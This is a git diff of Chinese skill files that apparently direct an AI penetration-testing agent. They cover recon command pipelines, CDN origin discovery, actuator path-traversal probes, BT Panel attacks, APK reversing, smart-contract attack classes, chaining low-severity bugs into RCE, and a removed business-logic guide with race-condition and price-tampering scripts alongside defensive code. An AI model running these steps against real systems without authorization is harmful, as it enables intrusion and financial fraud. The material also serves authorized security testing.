- [ ] XXE测试
|
|
||||||
- [ ] 参数污染
|
|
||||||
|
|
||||||
### 业务逻辑
|
|
||||||
- [ ] 工作流验证
|
|
||||||
- [ ] 状态转换
|
|
||||||
- [ ] 并发控制
|
|
||||||
- [ ] 业务规则
|
|
||||||
|
|
||||||
### 错误处理
|
|
||||||
- [ ] 错误信息泄露
|
|
||||||
- [ ] 堆栈跟踪
|
|
||||||
- [ ] 敏感信息暴露
|
|
||||||
|
|
||||||
## 防护措施
|
|
||||||
|
|
||||||
### 推荐方案
|
|
||||||
|
|
||||||
1. **认证**
|
|
||||||
- 使用强Token
|
|
||||||
- 实现Token刷新
|
|
||||||
- 验证Token签名
|
|
||||||
|
|
||||||
2. **授权**
|
|
||||||
- 基于角色的访问控制
|
|
||||||
- 资源所有权验证
|
|
||||||
- 最小权限原则
|
|
||||||
|
|
||||||
3. **输入验证**
|
|
||||||
- 参数类型验证
|
|
||||||
- 数据长度限制
|
|
||||||
- 白名单验证
|
|
||||||
|
|
||||||
4. **错误处理**
|
|
||||||
- 统一错误响应
|
|
||||||
- 不泄露详细信息
|
|
||||||
- 记录错误日志
|
|
||||||
|
|
||||||
5. **速率限制**
|
|
||||||
- 实现API限流
|
|
||||||
- 防止暴力破解
|
|
||||||
- 监控异常请求
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 仅在授权测试环境中进行
|
|
||||||
- 避免对API造成影响
|
|
||||||
- 注意不同API版本的差异
|
|
||||||
- 测试时注意请求频率
|
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
---
|
||||||
|
name: attack-surface-recon
|
||||||
|
description: >-
|
||||||
|
侦察/攻击面测绘:被动whois/amass/crt.sh/FOFA/Shodan,主动subfinder/httpx/naabu/katana/nuclei,DNS地域/CDN/Nginx catch-all/宝塔/UniApp指纹。开局第一动作,认知写入项目黑板。Use when starting recon, asset mapping, fingerprinting, or CDN/DNS bypass discovery.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## 侦察 / 攻击面测绘
|
||||||
|
|
||||||
|
```
|
||||||
|
=== 侦察/攻击面测绘(开局第一动作,60%战时在这,别裸奔进利用;端口/指纹等立即 upsert_project_fact) ===
|
||||||
|
被动先行(不碰目标,全部执行):
|
||||||
|
terminal: whois {domain} | grep -iE 'org|name|email|registrant'
|
||||||
|
terminal: amass intel -asn {ASN} -d {domain}
|
||||||
|
browser_navigate: https://crt.sh/?q=%.{domain} (证书透明挖子域)
|
||||||
|
terminal: curl -s "https://crt.sh/?q=%.{domain}&output=json" | python3 -c "import sys,json;[print(x['name_value']) for x in json.load(sys.stdin)]" | sort -u
|
||||||
|
terminal: dig +short {domain} @114.114.114.114; dig +short {domain} @8.8.8.8 (对比差异=CDN)
|
||||||
|
terminal: curl -s "https://web.archive.org/cdx/search/cdx?url=*.{domain}/*&output=text&fl=original&collapse=urlkey" | head -100
|
||||||
|
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'domain="{domain}"' | base64)
|
||||||
|
browser_navigate: https://www.shodan.io/search?query=hostname:{domain}
|
||||||
|
主动流水线(逐步执行):
|
||||||
|
terminal: subfinder -d {domain} -silent | tee subs.txt; amass enum -d {domain} -passive >> subs.txt; sort -u subs.txt -o subs.txt
|
||||||
|
terminal: cat subs.txt | dnsx -silent | tee alive_subs.txt
|
||||||
|
terminal: cat alive_subs.txt | httpx -silent -title -status-code -tech-detect -cdn | tee httpx_out.txt
|
||||||
|
terminal: naabu -l alive_subs.txt -top-ports 1000 -silent | tee ports.txt; nmap -sCV -iL <(head -20 alive_subs.txt) -oN nmap_out.txt
|
||||||
|
terminal: katana -list alive_subs.txt -silent -d 3 | tee urls.txt; gau {domain} >> urls.txt
|
||||||
|
terminal: cat urls.txt | grep -iE '\.(js|json)$' | httpx -silent -mc 200 | while read u; do curl -s "$u" | grep -oiE '(api|secret|key|token|password|aws|endpoint)[^"]*'; done
|
||||||
|
terminal: ffuf -u https://{target}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -fs {catch-all-size}
|
||||||
|
terminal: nuclei -l alive_subs.txt -t /root/nuclei-templates/ -severity medium,high,critical -o nuclei_results.txt
|
||||||
|
→ httpx输出识别到框架/版本 → 立即触发 `component-vuln-intel` 搜索序列
|
||||||
|
🚨DNS地域限制绕过: 国内CDN(987dns/dnspod/阿里云)常对海外DNS返0.0.0.0,用114.114.114.114解析才拿到真实IP。多DNS对比: dig @1.1.1.1 vs @114.114.114.114 vs @8.8.8.8,差异即CDN地域策略。真实IP藏在国内DNS结果中。
|
||||||
|
🚨CDN响应过滤绕过(GCCDN/PWS等): CDN对特定URL模式(admin路径/actuator)返502而非转发后端响应:
|
||||||
|
指纹识别: Server: PWS/x.x.x.x | Via: 1.1 PS-XXX-XXXX:N (W) | X-Px: ms CS-XXX-XXXXnone(origin) | 通配*.gccdn.net CNAME
|
||||||
|
502≠不存在: 502=后端响应被CDN过滤, 404=路径真不存在, 403=CDN路由拒绝。用502/404/403差异枚举存活端点
|
||||||
|
路径穿越确认: /api/v1/v/..;/..;/actuator/env → 502(存在被过滤) vs /api/v1/v/..;/..;/xxxx → 404(Tomcat原生不存在)
|
||||||
|
CDN节点多端口: 扫CDN IP的3000-9200端口(8000/8080/9090常代理同一后端但规则可能不同,9200可能是独立nginx)
|
||||||
|
绕过尝试矩阵(本session全测均失败,记录防重复): URL编码/双编码/大小写/分号后缀/TE空格走私/HTTP管线化/Accept-Encoding/Range
|
||||||
|
有效信息提取: 即使502,POST actuator/env仍可能被后端执行(盲写属性)→需配合refresh触发(若refresh 404则链断)
|
||||||
|
🚨Nginx Catch-All陷阱: PHP CMS配rewrite全路由→所有路径返200同大小=catch-all(不是文件存在!)。识别: 用3个随机路径对比size一致=catch-all。真正存活路径用.php后缀测(nginx `location ~ \.php$`直通FastCGI,不存在返真404)。
|
||||||
|
🚨Pure-FTPd puredb损坏≠认证绕过: "Unable to read the indexed puredb file"=虚拟用户db坏了,所有用户名(包括匿名)都触发421断连。PAM系统用户认证也走puredb先→全部失败。不是攻击面,跳过。
|
||||||
|
🚨同IP多站横向: 反查IP(SecurityTrails/微步/VirusTotal)找同服务器其他域名→其中弱站(独立nginx配置返真404=可枚举)突破→宝塔面板统一管理=横向所有站。
|
||||||
|
指纹优先级: 一旦httpx/wappalyzer识别出框架版本 → 立即转 `component-vuln-intel` 联网情报。先测绘清攻击面,再Reason选最肥的边,不要看到一个洞就一头扎进去。
|
||||||
|
🚨DNS通配符CDN识别: 所有子域名(包括不存在的随机子域)都解析到CDN=通配符DNS(*.domain → CDN CNAME)。此时枚举子域名无意义,所有IP都是CDN节点。
|
||||||
|
验证: dig random123456.target.com → 如果也有A记录且指向已知CDN IP = 通配符。真实源IP需从其他渠道获取(历史DNS/证书透明/同服务器其他域名/邮件头/SSRF)
|
||||||
|
🚨宝塔面板(BT Panel)识别: Cookie名为32位hex hash(如789d6d2de16419a1e8bbfea926c8996e) + 302跳/login + nginx反代 + "入口校验失败"页面 = BT Panel随机安全入口
|
||||||
|
Windows版: IIS+nginx共存, 8888端口面板, 888端口phpMyAdmin(可能), /index.html可能泄露站点配置(反向代理目标URL/站点名)
|
||||||
|
攻击: 入口路径爆破(8位随机字母数字) | 历史CVE(API key未授权/phar反序列化) | 面板默认FTP/MySQL账户复用
|
||||||
|
🚨Nginx 404差分指纹: 当nginx catch-all重写掩盖真实路径时,比较响应大小——真实nginx 404(146B)=文件在磁盘存在但location块deny, catch-all(大页面)=路由未匹配。批量探测CMS标志路径(/caches/configs/, /phpcms/modules/, /statics/等)区分响应大小即可确认CMS类型。详见references/nginx-404-differential-fingerprinting.md
|
||||||
|
🚨UniApp/DCloud APK逆向快速路径: assets/apps/__UNI__*/www/app-service.js = 全部业务逻辑(JS混淆); assets/zlsioh.dat = 加密配置(API域名); lib/arm64-v8a/libirzlemnr.so = 解密库。JS用RC4+base64解混淆(提取a0G数组+a0m解码器); .so中strings搜16字符随机串=可能密钥, 搜`x数字.数字.数字.数字x`格式=硬编码IP(通常是DCloud HTTPDNS基础设施而非目标API)。详见references/uniapp-dcloud-apk-reversing.md
|
||||||
|
```
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
---
|
||||||
|
name: binary-mobile-reversing
|
||||||
|
description: >-
|
||||||
|
APK/EXE/二进制:UniApp/DCloud/Flutter逆向,证书固定绕过,导出组件,内存破坏exploit链,IoT固件。Use when reversing APK/EXE, UniApp/Flutter, native .so, or memory-corruption exploits.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## APK / EXE / 二进制逆向
|
||||||
|
|
||||||
|
```
|
||||||
|
=== APK/EXE/二进制 ===
|
||||||
|
APK: apktool d / jadx | Manifest看exported组件/deeplink/debuggable | rg硬编码密钥+API地址 | .so strings/Ghidra | frida/objection动态
|
||||||
|
🚨UniApp/DCloud APK逆向(H5混合应用,业务全在JS不在DEX):
|
||||||
|
识别: __UNI__XXXXXXX + assets/apps/ + uni-jsframework.js (NOT Flutter,无libapp.so) | manifest.json含"uni-app"字段
|
||||||
|
核心文件: assets/apps/__UNI__XXX/www/app-service.js (800KB+混淆JS=全部业务逻辑) | jadx只能看壳(native插件注册),真逻辑在JS
|
||||||
|
JS解混淆(RC4+字符串数组旋转): 提取a0G()大数组(10000+元素)+a0m(idx,key)解码函数(base64→RC4)+rotation IIFE→拼可执行JS→node批量解码→JSON字典(offset→明文)
|
||||||
|
🔴陷阱: rotation IIFE可能以逗号结尾(不是分号!属于更大表达式)→node报"Unexpected token"→按实际结束符提取
|
||||||
|
加密配置zlsioh.dat/dcloud3.dat: header(96B偏移表:off40=block1解压/44=压缩/60=block2偏移/64=block2大小/80=block3偏移)+block1(zlib→DEX)+block2(加密,含API域名列表←关键,需.so解密)+block3(zlib→AndroidX类映射)
|
||||||
|
zlib魔数78DA=未加密直接解压 | 无魔数=加密块(密钥在.so .rodata/汇编立即数)
|
||||||
|
.so字符串解混淆: 偶数位字符提取→反转(e.g."mAojcl.dubdFiHaebP.nwywfwb"→"www.baidu.com") | strings -n8 lib*.so找含点号长串
|
||||||
|
⚠️陷阱: .so中x分隔IP串(如"x111.230.69.120x118.126.105.164")=DCloud HTTPDNS节点(非API后端!140.205.11.x=阿里云DNS,111.230/118.126/106.52/42.193=腾讯云) | resources.arsc报错是故意反编译保护(不影响jadx) | assets伪PNG(1-8px)=完整性校验非数据 | fcapp.run仅APK下载代理
|
||||||
|
关键API变量: $apiHost/$opHost(运行时动态设置,不硬编码)/urlList/checkAvailableDomainList(HEAD domain/favicon.ico测连通,200-399=可用)
|
||||||
|
高价值端点: /app_init /user/gustRegister(游客无验证注册) /user/getOssSts(OSS临时凭据!) /uploadFile2
|
||||||
|
配置: manifest.json(appId/版本/nativePlugins→wrs-httpserver=内嵌HTTP服务!) | supplierconfig.json(vivo/xiaomi/huawei/oppo appid) | dcloud_uniplugins.json(插件清单)
|
||||||
|
ChengZi SDK(橙子建站): init3接口返回XOR单字节(key=0x96,见chengzi_decrypt.py)加密JSON→解密得APK真实下载链接(fu字段)+渠道码
|
||||||
|
域名兜底: 静态拿不到$apiHost时→Android模拟器(Waydroid/AVD)+tcpdump/mitmproxy抓运行时DNS
|
||||||
|
参见: references/uniapp-apk-reverse-engineering.md, references/uniapp-apk-reversing.md, scripts/js_rc4_deobfuscate.js, scripts/chengzi_decrypt.py
|
||||||
|
🚨Flutter APK快速逆向(无需脱壳): 加固(MogoSec/梆梆/360)保护DEX层,但Flutter的lib/arm64-v8a/libapp.so(Dart AOT)通常不加密
|
||||||
|
strings -n8 libapp.so|grep 'https\?://' → 全部硬编码URL/API域名/S3地址/CDN
|
||||||
|
strings -n8 libapp.so|grep -E '^/' → API路径矩阵(/Member/Login, /Web/VideoList, /BBS/GetSTSToken等)
|
||||||
|
strings -n8 libapp.so|grep -iE 'key|secret|token|aws|bucket' → 凭据/密钥泄露
|
||||||
|
assets/config_*.xml + assets/data_*.dat → 加密配置(可能含域名/API地址) | .DS_Store → macOS开发者信息泄露 | assets/xinstall* → 渠道追踪SDK
|
||||||
|
🚨Native .so字符串反混淆(通用模式): 混淆字符串在.rodata段
|
||||||
|
常见模式: 偶数位字符提取+反转(如"mAojcl.dubdFiHaebP..."→取偶数位→反转=明文域名) | XOR常量 | RC4+base64
|
||||||
|
识别: strings -n8 lib*.so找16字节等长串(AES密钥/IV)/含点号串(域名)/x分隔IP串(HTTPDNS) | nm --dynamic找混淆导出符号(16字符随机大小写)
|
||||||
|
验证: 已知字符串("classes.dex"/"io.dcloud.application")对照混淆版→逆推算法→批量解码
|
||||||
|
🚨移动通用(非UniApp/Flutter的常规APP):
|
||||||
|
证书固定绕过(抓HTTPS): objection android sslpinning disable | frida universal-unpinning | 改smali删pinning重打包
|
||||||
|
导出组件越权: Manifest exported=true的Activity/Service/Provider/Receiver → drozer/adb am start跨应用调 | ContentProvider SQLi/路径穿越
|
||||||
|
深链接(deeplink)劫持: scheme://未校验→WebView加载任意URL(XSS/文件读) | 参数进intent→组件劫持
|
||||||
|
不安全存储: /data/data/pkg/(shared_prefs明文token/db未加密/logcat泄露) | sdcard世界可读
|
||||||
|
WebView: addJavascriptInterface(<4.2 RCE)/file://读本地/setAllowFileAccess | 静态:MobSF一把梭 | iOS:砸壳(frida-ios-dump)+Ghidra看Mach-O+objection动态
|
||||||
|
EXE/PE: file/strings | Ghidra/IDA反编译找硬编码/加密/网络逻辑 | x64dbg动调 | 漏洞:溢出/格式化串/UAF/DLL劫持
|
||||||
|
🚨内存破坏exploit链(崩溃→RCE): checksec看防护 → 确定原语(栈溢出/UAF/格式化串=任意读写)
|
||||||
|
→ 信息泄露绕ASLR → ROP链(ROPgadget/pwntools ret2libc) → 堆利用(tcache poison/__free_hook劫持)
|
||||||
|
→ 任意写改GOT/hook/vtable/exit_funcs → 控制流劫持 | 固件IoT:binwalk -Me提取+qemu-user调试(防护弱常直接栈溢出)
|
||||||
|
```
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
name: blockchain-contract-attack
|
||||||
|
description: >-
|
||||||
|
区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## 区块链 / 智能合约
|
||||||
|
|
||||||
|
```
|
||||||
|
=== 区块链/智能合约 ===
|
||||||
|
源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore
|
||||||
|
手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)
|
||||||
|
预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突
|
||||||
|
DeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction
|
||||||
|
```
|
||||||
@@ -1,402 +0,0 @@
|
|||||||
---
|
|
||||||
name: business-logic-testing
|
|
||||||
description: 业务逻辑漏洞测试的专业技能和方法论
|
|
||||||
version: 1.0.0
|
|
||||||
---
|
|
||||||
|
|
||||||
# 业务逻辑漏洞测试
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
|
|
||||||
|
|
||||||
## 漏洞类型
|
|
||||||
|
|
||||||
### 1. 工作流绕过
|
|
||||||
|
|
||||||
**跳过验证步骤:**
|
|
||||||
- 直接访问最终步骤
|
|
||||||
- 修改步骤顺序
|
|
||||||
- 重复执行步骤
|
|
||||||
|
|
||||||
### 2. 价格操作
|
|
||||||
|
|
||||||
**负数价格:**
|
|
||||||
- 输入负数金额
|
|
||||||
- 导致账户余额增加
|
|
||||||
|
|
||||||
**价格篡改:**
|
|
||||||
- 修改前端价格
|
|
||||||
- 修改API请求中的价格
|
|
||||||
|
|
||||||
### 3. 数量限制绕过
|
|
||||||
|
|
||||||
**负数数量:**
|
|
||||||
- 输入负数
|
|
||||||
- 可能导致库存增加
|
|
||||||
|
|
||||||
**超出限制:**
|
|
||||||
- 修改数量限制
|
|
||||||
- 批量操作绕过
|
|
||||||
|
|
||||||
### 4. 时间竞争
|
|
||||||
|
|
||||||
**并发请求:**
|
|
||||||
- 同时发送多个请求
|
|
||||||
- 绕过单次限制
|
|
||||||
|
|
||||||
### 5. 状态操作
|
|
||||||
|
|
||||||
**状态回退:**
|
|
||||||
- 将已完成订单改为待支付
|
|
||||||
- 修改订单状态
|
|
||||||
|
|
||||||
## 测试方法
|
|
||||||
|
|
||||||
### 1. 工作流分析
|
|
||||||
|
|
||||||
**识别业务流程:**
|
|
||||||
- 注册流程
|
|
||||||
- 购买流程
|
|
||||||
- 提现流程
|
|
||||||
- 审核流程
|
|
||||||
|
|
||||||
**测试步骤跳过:**
|
|
||||||
```
|
|
||||||
正常流程: 步骤1 → 步骤2 → 步骤3
|
|
||||||
测试: 直接访问步骤3
|
|
||||||
测试: 步骤1 → 步骤3(跳过步骤2)
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. 参数篡改
|
|
||||||
|
|
||||||
**修改关键参数:**
|
|
||||||
```http
|
|
||||||
POST /api/purchase
|
|
||||||
{
|
|
||||||
"product_id": 123,
|
|
||||||
"quantity": 1,
|
|
||||||
"price": 100.00 # 修改为 0.01
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**负数测试:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"quantity": -1,
|
|
||||||
"price": -100.00
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. 并发测试
|
|
||||||
|
|
||||||
**同时发送请求:**
|
|
||||||
```python
|
|
||||||
import threading
|
|
||||||
import requests
|
|
||||||
|
|
||||||
def purchase():
|
|
||||||
requests.post('https://target.com/api/purchase',
|
|
||||||
json={'product_id': 123, 'quantity': 1})
|
|
||||||
|
|
||||||
# 同时发送10个请求
|
|
||||||
for i in range(10):
|
|
||||||
threading.Thread(target=purchase).start()
|
|
||||||
```
|
|
||||||
|
|
||||||
### 4. 状态修改
|
|
||||||
|
|
||||||
**修改订单状态:**
|
|
||||||
```http
|
|
||||||
PATCH /api/order/123
|
|
||||||
{
|
|
||||||
"status": "completed" # 修改为已完成
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**回退状态:**
|
|
||||||
```http
|
|
||||||
PATCH /api/order/123
|
|
||||||
{
|
|
||||||
"status": "pending" # 从已完成回退到待支付
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## 利用技术
|
|
||||||
|
|
||||||
### 价格操作
|
|
||||||
|
|
||||||
**负数价格:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"product_id": 123,
|
|
||||||
"price": -100.00,
|
|
||||||
"quantity": 1
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**修改前端价格:**
|
|
||||||
```javascript
|
|
||||||
// 前端代码
|
|
||||||
const price = 100.00;
|
|
||||||
|
|
||||||
// 修改为
|
|
||||||
const price = 0.01;
|
|
||||||
```
|
|
||||||
|
|
||||||
**API价格修改:**
|
|
||||||
```http
|
|
||||||
POST /api/checkout
|
|
||||||
{
|
|
||||||
"items": [
|
|
||||||
{
|
|
||||||
"product_id": 123,
|
|
||||||
"price": 0.01, # 原价100.00
|
|
||||||
"quantity": 1
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 数量限制绕过
|
|
||||||
|
|
||||||
**负数数量:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"product_id": 123,
|
|
||||||
"quantity": -10 # 可能导致库存增加
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**超出限制:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"product_id": 123,
|
|
||||||
"quantity": 999999 # 超出单次购买限制
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 优惠券滥用
|
|
||||||
|
|
||||||
**重复使用:**
|
|
||||||
```http
|
|
||||||
POST /api/checkout
|
|
||||||
{
|
|
||||||
"coupon": "DISCOUNT50",
|
|
||||||
"items": [...]
|
|
||||||
}
|
|
||||||
|
|
||||||
# 重复使用同一优惠券
|
|
||||||
```
|
|
||||||
|
|
||||||
**未激活优惠券:**
|
|
||||||
```http
|
|
||||||
POST /api/checkout
|
|
||||||
{
|
|
||||||
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
|
|
||||||
"items": [...]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 提现漏洞
|
|
||||||
|
|
||||||
**负数提现:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"amount": -1000.00 # 可能导致账户余额增加
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**超出余额:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"amount": 999999.00 # 超出账户余额
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 时间竞争
|
|
||||||
|
|
||||||
**并发购买:**
|
|
||||||
```python
|
|
||||||
import threading
|
|
||||||
import requests
|
|
||||||
|
|
||||||
def buy():
|
|
||||||
requests.post('https://target.com/api/purchase',
|
|
||||||
json={'product_id': 123, 'quantity': 1})
|
|
||||||
|
|
||||||
# 限时抢购,并发请求
|
|
||||||
for i in range(100):
|
|
||||||
threading.Thread(target=buy).start()
|
|
||||||
```
|
|
||||||
|
|
||||||
## 绕过技术
|
|
||||||
|
|
||||||
### 前端验证绕过
|
|
||||||
|
|
||||||
**直接调用API:**
|
|
||||||
- 绕过前端JavaScript验证
|
|
||||||
- 直接发送API请求
|
|
||||||
|
|
||||||
**修改请求:**
|
|
||||||
- 使用Burp Suite拦截
|
|
||||||
- 修改参数后发送
|
|
||||||
|
|
||||||
### 状态码分析
|
|
||||||
|
|
||||||
**观察响应:**
|
|
||||||
- 200 OK - 可能成功
|
|
||||||
- 400 Bad Request - 参数错误
|
|
||||||
- 403 Forbidden - 权限不足
|
|
||||||
- 500 Internal Server Error - 服务器错误
|
|
||||||
|
|
||||||
### 错误信息利用
|
|
||||||
|
|
||||||
**从错误信息获取信息:**
|
|
||||||
```
|
|
||||||
错误: "余额不足,当前余额: 100.00"
|
|
||||||
→ 可以获取账户余额信息
|
|
||||||
```
|
|
||||||
|
|
||||||
## 工具使用
|
|
||||||
|
|
||||||
### Burp Suite
|
|
||||||
|
|
||||||
**使用Repeater:**
|
|
||||||
1. 拦截业务请求
|
|
||||||
2. 修改关键参数
|
|
||||||
3. 观察响应
|
|
||||||
|
|
||||||
**使用Intruder:**
|
|
||||||
1. 标记参数
|
|
||||||
2. 使用Payload列表
|
|
||||||
3. 批量测试
|
|
||||||
|
|
||||||
### 自定义脚本
|
|
||||||
|
|
||||||
```python
|
|
||||||
import requests
|
|
||||||
import json
|
|
||||||
|
|
||||||
def test_price_manipulation():
|
|
||||||
# 测试价格修改
|
|
||||||
for price in [0.01, -100, 0, 999999]:
|
|
||||||
data = {
|
|
||||||
"product_id": 123,
|
|
||||||
"price": price,
|
|
||||||
"quantity": 1
|
|
||||||
}
|
|
||||||
response = requests.post('https://target.com/api/purchase',
|
|
||||||
json=data)
|
|
||||||
print(f"Price {price}: {response.status_code}")
|
|
||||||
|
|
||||||
test_price_manipulation()
|
|
||||||
```
|
|
||||||
|
|
||||||
## 验证和报告
|
|
||||||
|
|
||||||
### 验证步骤
|
|
||||||
|
|
||||||
1. 确认可以绕过业务逻辑限制
|
|
||||||
2. 验证可以执行未授权操作
|
|
||||||
3. 评估影响(资金损失、数据篡改等)
|
|
||||||
4. 记录完整的POC
|
|
||||||
|
|
||||||
### 报告要点
|
|
||||||
|
|
||||||
- 漏洞位置和业务流程
|
|
||||||
- 可执行的未授权操作
|
|
||||||
- 完整的利用步骤和PoC
|
|
||||||
- 修复建议(服务端验证、业务规则检查等)
|
|
||||||
|
|
||||||
## 防护措施
|
|
||||||
|
|
||||||
### 推荐方案
|
|
||||||
|
|
||||||
1. **服务端验证**
|
|
||||||
```python
|
|
||||||
def process_purchase(product_id, quantity, price):
|
|
||||||
# 从数据库获取真实价格
|
|
||||||
real_price = db.get_product_price(product_id)
|
|
||||||
|
|
||||||
# 验证价格
|
|
||||||
if price != real_price:
|
|
||||||
raise ValueError("Price mismatch")
|
|
||||||
|
|
||||||
# 验证数量
|
|
||||||
if quantity <= 0:
|
|
||||||
raise ValueError("Invalid quantity")
|
|
||||||
|
|
||||||
# 处理购买
|
|
||||||
process_order(product_id, quantity, real_price)
|
|
||||||
```
|
|
||||||
|
|
||||||
2. **状态机验证**
|
|
||||||
```python
|
|
||||||
class OrderState:
|
|
||||||
PENDING = "pending"
|
|
||||||
PAID = "paid"
|
|
||||||
SHIPPED = "shipped"
|
|
||||||
COMPLETED = "completed"
|
|
||||||
|
|
||||||
TRANSITIONS = {
|
|
||||||
PENDING: [PAID],
|
|
||||||
PAID: [SHIPPED],
|
|
||||||
SHIPPED: [COMPLETED]
|
|
||||||
}
|
|
||||||
|
|
||||||
def can_transition(self, from_state, to_state):
|
|
||||||
return to_state in self.TRANSITIONS.get(from_state, [])
|
|
||||||
```
|
|
||||||
|
|
||||||
3. **并发控制**
|
|
||||||
```python
|
|
||||||
import threading
|
|
||||||
|
|
||||||
lock = threading.Lock()
|
|
||||||
|
|
||||||
def process_order(order_id):
|
|
||||||
with lock:
|
|
||||||
# 检查订单状态
|
|
||||||
order = db.get_order(order_id)
|
|
||||||
if order.status != 'pending':
|
|
||||||
raise ValueError("Order already processed")
|
|
||||||
|
|
||||||
# 处理订单
|
|
||||||
process(order)
|
|
||||||
```
|
|
||||||
|
|
||||||
4. **业务规则验证**
|
|
||||||
```python
|
|
||||||
def validate_business_rules(order):
|
|
||||||
# 验证数量限制
|
|
||||||
if order.quantity > MAX_QUANTITY:
|
|
||||||
raise ValueError("Quantity exceeds limit")
|
|
||||||
|
|
||||||
# 验证价格范围
|
|
||||||
if order.price <= 0:
|
|
||||||
raise ValueError("Invalid price")
|
|
||||||
|
|
||||||
# 验证库存
|
|
||||||
if order.quantity > get_stock(order.product_id):
|
|
||||||
raise ValueError("Insufficient stock")
|
|
||||||
```
|
|
||||||
|
|
||||||
5. **审计日志**
|
|
||||||
```python
|
|
||||||
def log_business_action(user_id, action, details):
|
|
||||||
log_entry = {
|
|
||||||
"user_id": user_id,
|
|
||||||
"action": action,
|
|
||||||
"details": details,
|
|
||||||
"timestamp": datetime.now()
|
|
||||||
}
|
|
||||||
db.log_action(log_entry)
|
|
||||||
```
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 仅在授权测试环境中进行
|
|
||||||
- 避免对业务造成实际影响
|
|
||||||
- 注意不同业务流程的差异
|
|
||||||
- 测试时注意数据一致性
|
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
---
|
||||||
|
name: capability-primitive-search
|
||||||
|
description: >-
|
||||||
|
能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## 能力原语 + 状态空间搜索
|
||||||
|
|
||||||
|
```
|
||||||
|
心法: RCE不是一个"漏洞",是一组"能力"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。
|
||||||
|
固有思维(要打破): "扫不到RCE/反序列化/上传→这站打不动了"。你的活不是"找RCE漏洞",是"凑齐执行所需的原语"。
|
||||||
|
把每个Fact抽象成能力原语(不记"发现X漏洞",记"现在拥有什么能力+限制"):
|
||||||
|
read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl
|
||||||
|
|
||||||
|
RCE只需满足任意一条等式,拆成可获取的原语去凑:
|
||||||
|
A. 能写文件 + 文件被当代码执行 = RCE
|
||||||
|
B. 能控配置/env + 配置指向你的代码 = RCE
|
||||||
|
C. 能进管理面 + 面板自带执行功能 = RCE(不是漏洞,是功能!)
|
||||||
|
D. 有凭据 + 服务有合法执行入口 = RCE(滥用合法功能)
|
||||||
|
E. 能任意读 + 读到凭据 + 凭据可登录执行点 = RCE
|
||||||
|
F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE
|
||||||
|
|
||||||
|
低危→原语映射(把"鸡肋漏洞"翻译成拼图碎片):
|
||||||
|
info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A
|
||||||
|
SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D
|
||||||
|
弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C
|
||||||
|
可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B
|
||||||
|
SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F
|
||||||
|
|
||||||
|
状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。
|
||||||
|
